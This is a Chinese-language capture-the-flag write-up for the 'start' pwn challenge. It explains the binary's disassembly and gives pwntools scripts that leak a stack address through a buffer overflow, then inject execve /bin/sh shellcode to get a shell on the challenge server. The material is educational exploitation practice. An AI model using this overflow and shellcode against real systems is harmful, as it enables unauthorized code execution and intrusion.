题目如下:

                public _start
_start          proc near               ; DATA XREF: LOAD:08048018↑o
                push    esp
                push    offset _exit
                xor     eax, eax
                xor     ebx, ebx
                xor     ecx, ecx
                xor     edx, edx
                push    3A465443h
                push    20656874h
                push    20747261h
                push    74732073h
                push    2774654Ch
                mov     ecx, esp        ; addr
                mov     dl, 14h         ; len
                mov     bl, 1           ; fd
                mov     al, 4
                int     80h             ; LINUX - sys_write
                xor     ebx, ebx
                mov     dl, 3Ch ; '<'
                mov     al, 3
                int     80h             ; LINUX -
                add     esp, 14h
                retn
_start          endp ; sp-analysis failed

从头看,首先push esppush exit的地址,再push 20个字符,然后调用write()函数输出0x14(也就是20个字符)。

然后给al赋值为3,即需要查看系统调用号3对应的功能,查资料可知为read()

又因为dl赋值为0x3C(即60),所以可以输入长度≤60的payload。

分析后可得知,可以让返回地址先跳到mov bl, 1处,让其往下执行泄露处栈地址,可再执行一遍写入的功能,这时写shell,然后再让其返回到shell的位置即可。

泄露栈地址:

from pwn import *

elf = ELF('./start')

local = 1
if local == 1:
    io = process('./start')
    gdb.attach(io)
else:
    io = remote('pwn.challenge.ctf.show',28101)

payload = 'a'*(0x14)+p32(0x804808B)
io.send(payload)
io.recvuntil('a'*0x14)
io.recv(4)
stack = u32(io.recv(4)) 
log.success("stack:"+hex(stack))


io.interactive()

找溢出点:

io.sendline(cyclic(60))

当前可控输入点的开头地址和栈地址相差0x1C,可控输入点是动态的,但是和栈的距离是不变的。写shell然后返回到可控输入点开头地址就可以得到flag。

from pwn import *

elf = ELF('./start')

local = 0
if local == 1:
    io = process('./start')
    gdb.attach(io)
else:
    io = remote('node4.buuoj.cn',27722)

payload = 'a'*(0x14)+p32(0x804808B)
io.send(payload)
io.recvuntil('a'*0x14)
io.recv(4)
stack = u32(io.recv(4)) 
log.success("stack:"+hex(stack))

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+'a'*(44-28)+p32(stack-0x1c)
io.sendline(shellcode)

io.interactive()